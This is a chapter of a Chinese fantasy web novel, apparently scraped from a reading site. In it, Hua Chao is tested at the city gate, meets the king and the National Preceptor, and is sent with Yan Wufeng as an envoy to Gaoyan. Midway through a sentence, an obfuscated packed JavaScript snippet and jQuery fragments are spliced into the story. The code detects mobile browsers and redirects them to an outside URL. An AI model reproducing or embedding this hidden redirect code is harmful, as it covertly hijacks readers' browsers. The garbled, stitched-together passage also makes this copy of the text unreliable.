13.登高台

作品:《国师弟子今天掉马了吗

    “叠林,”来人着一袭缁色军装,腰间一块木牌刻着“巡”,男子嗓音干净清透,“听闻大王召你回城,我特意在城外等了两日。” “夷则。”严无烽作礼,从空中取出骨鞭交给他。 何夷则接过骨鞭,似感受到上面残留的气息,怔一瞬,旋即浅笑道:“原来还记得还我,龙分将碰过?” 严无烽点头,轻咳一声,向他介绍道:“这是‘神像案’协办花朝花协办。” 何夷则微微侧头,面色有些惊异,细细打量起花朝,道:“见过花协办,在下巡军大将军何夷则。” 花朝拱手作礼:“见过何大将军。” “这样,花协办就先去测阶吧。”何夷则一把拉住身边经过的小兵,“拿块卜等石来。” 那小兵应着,不多时便将卜等石拿来。 花朝接过卜等石,按照之前在万府学到的方式向其中灌入一道灵流。 石上流光溢彩,半晌才浮现出——戊壹。 何夷则的笑容僵在脸上,缓缓转头看向严无烽。 严无烽耸肩,表示自己也是才知道。 蜂丘时,他本以为花朝顶天了不过丁等,如今看来,只是缺少实战经验罢了。 那小兵则更加浮夸,惊得跳起来,随即喊道:“戊等!戊等!”引得无数人侧目。 城墙上霎时响起一阵鼓声,五十敲乃止。 高大城墙中央的正城门徐徐打开,正值七月,城外黄沙遍地、荒凉凄苦;城内木槿灼灼、粉白娇嫩。 “当年我走正城门时,还是国师带我回都。”严无烽向花朝感慨道。 “既如此,花协办同我二人一同入面见大王吧。”何夷则一手指向正城门。 周围议论声不断,三卷衣袂翻飞。 花朝感觉白玉坠子温热,脑中乍来一道声音:“朝儿,日出晨曦褪夜暝,从上无虞花满路。” 严无烽对何夷则说:“何大将军,花协办受伤,我二人需要先去医馆再入宫。” 何夷则这才注意到花朝肩上扎着的玄青色衣物:“行,听闻今日无涯大夫在医馆,你二人处理完再入宫。”说罢便作礼告退。 花朝思绪被打断,轻轻摩挲白玉坠子。 严无烽便带花朝去医馆重新包扎一番,无涯大夫开了些药剂方子,把了脉,也无甚大碍。 …… “叠林公子、花协办。”想来是何夷则提前打过招呼,一进宫门便有一行宫女迎上前来,“大王在观星台等候。” 王宫道路回环往复,成片的木槿花、紫薇、兰花将一墙一瓦都装饰得鲜艳蓬勃。 “观星台到了。”宫人报完,便匆匆退下。 二人走上台阶——三大阶六十六小阶,象征着山、夭、未三处方向的灵力之源及六十六洲、岛。 还剩三阶,严无烽便顿住身形,花朝也接着停下。 “大王、师父。”严无烽作礼弯腰,花朝手忙脚乱地也弯下腰。 “叠林、花协办免礼罢。”周璨挥手,颇为好奇地看向花朝。 待花朝抬头,周璨脸上闪过一丝恍惚,片刻才反应过来:“花协办这样貌……” 花朝不明所以,何夷则却面带笑意,回道:“花协办与姚美人有七分像,只是多了点侠士英气。” “是了。”周璨点点头,“听夷则说花协办资质极好,未及二十便已戊等,实在是出类拔萃。” 花朝低头谦虚道:“大王过奖了。” “这可不是过奖,”周璨笑道,“国师,你说呢?” 国师捋捋胡子:“百年来,盛中国二十以下便及戊之人仅有易皓上仙、我……前朝花大将军、叠林以及花协办,五人而已。花协办……不错。” 得到国师的肯定,周璨并不欣喜,反而面色阴沉几分,凝视着花朝,话中有话:“花大将军……当年只是一念之差,同样姓花,花协办莫要走前人老路。” 花朝心中咯噔一声,白玉坠子霎时变得冰冷。 她记起坊后父母的衣冠冢:坊民蒋玉蓉与夫花郁苍之墓。 父亲竟是昔日的盛中大将军。 ——一念之差。父亲当年究竟做了什么?为何要献祭山神? 周璨现在提起,想来是给她个下马威,抑或是怀疑起她的身份。 花朝心中盘算着,下定决心,转而正声道:“花朝一心报国,不敢存有杂念。” 周璨满意地勾勾唇角,看向严无烽:“将荣临之事详细禀报。” 严无烽点头,将荣临所遇之事一五一十地告诉他。 “如今所有的矛头都指向七水浦,只是无甚实据,留龙斗在荣临继续查明,不失为一个好主意。” “只是如今母符还未找到,七水浦已知事情败露,定会竭力隐瞒,再找到破绽,难如登天。”国师沉声道,“只能八月上告天神时,问问易皓上仙了。” “还有一事,”严无烽从空中捞出一颗红色小球,以气运至玺王面前,“我与花协办经过蜂丘时竟遇舛奴,好在我二人等阶不低,又有师父留给我的保命之符,才得以制服它。” 玺王抬手捏住那颗珠子,面色凝重:“舛奴怎会离开舛神山?高炎国也并无半分音信传来。” 何夷则也皱起眉:“就算舛奴得以摆脱镇压,那么远的路,巡军军务却从未提及。” 国师走向观星台中央,扔下一张符纸,那符纸轻飘飘的,向西浮动两下,便四分五裂开来,燃为灰烬:“有一只,便可能有下一只。臣以为,高炎与我国素来交好,盛中理应派人出使,以协助其探查。” “国师说的有理,寡人即刻与高炎通信,处置神像后,派人出使高炎。”周璨轻揉太阳穴,看向花、严二人,“这样,既是你二人与舛奴交战,便由你二人出使高炎吧。” 花、严二人领命。 周璨困倦眨眨眼:“好罢,寡人回殿拟旨,夷则带花协办安置休息吧。” 语罢,阶下两行宫女鱼贯而上,搀周璨离开。 “花协办随我来吧,”何夷则开口,“国师与叠林公子想来还有事商谈。” 花朝瞥一眼严无烽,后者向其笑笑,花朝才随何夷则离开观星台。 …… 星河斗转,观星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123736|179042||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 台只剩一老一少二人。 “方才玺王在此,为师未揭穿你,为师何时给了你保命之符?”国师眼中晦暗不明,轻飘飘地点一句。 严无烽埋下头,愧疚道:“什么都瞒不过师父,是弟子擅自改动了子符,借忽神信仰……” 国师微微动容:“改符?可还记得如何改的?” “大抵是记得的。” “重新画与为师看。”国师扔给他一张空白符纸。 严无烽错愕接过符纸,指尖运气在纸上书写,金光轻漾。 不多时,一张符便画完,严无烽恭恭敬敬地将其交给国师。 国师凑近察看,捋捋胡子道:“不错,这改动之处倒是精妙,但……”话锋一转,国师脸上出现鲜有的怒色,“就算你天赋异禀,画符之事又怎可胡来?万一情况危急,你错改一处或是漏改一处,后果不堪设想!” “知道了,师父。”严无烽将头埋得更低。 国师看着面前这比自己高半个头的徒弟,叹口气:“行事不可如此鲁莽了,刚才那花协办,看起来也是个冲动性子,玺王派你们前去高炎,更应谨慎行事,什么鲜血画符、即兴改符更是不可行!” “嗯。”严无烽连声应着。 “听着,这才是为师给你的保命之符。”国师在空中一抓,两块锦囊出现在掌心,“你和那花协办的。” “谢师父。”严无烽接过锦囊收起。 “罢了,去荣临这么些时日也该好生休息一下了。”国师背过身去,看向星空,“你回去吧。” 严无烽作礼离开,留下国师一人。 他在那处站了半晌,苍老雪白的手轻轻举向空中:“郁苍,你的女儿我一定替你照顾好。” 另一边,何夷则领花朝出了宫门,向巡堂方向走去。 “何大将军,”花朝唤一声,“方才你们提起的姚美人是何人?” 她心中隐隐有些期待,许是吕婆婆的女儿吧。 “这个嘛,”何夷则放低了声音,离花朝近了些,“大王去岁从西萼带回一位歌女,名唤轻宛,隐身姿婀娜、窈窕娇软,大王便赐她“姚”姓。你虽与她长得像,但性格迥异。” 花朝眼中的期待被浇灭,吕婆婆的女儿算来已三十又八,怎会仍是歌女? 见花朝不回应,何夷则以为花朝认为自己轻贱了她,忙道:“不过如今乱世,娇软有何用?如仙师这般,才可能出人头地。” 花朝听出他在恭维自己,回道:“何大将军还是莫要吹捧在下了,您才是年少有为。” 听到此言,何夷则趔趄一步,脸上闪过一丝矛盾的情绪,沉默良久,他轻声道:“我不算年少有为,我师父算……” 花朝哑口无言,心以为他师父已遭遇不测,不知做何言安抚,便只能悻悻转过头。 “抱歉。” 何夷则不做言语,只是在暗处摸了摸腰间木牌。 二人静默一阵,巡堂已到。 花朝身后不知多久贴上的一张符纸渐渐显露,须臾便散为尘埃。 何夷则领她去了一间空屋,说是暂时安置。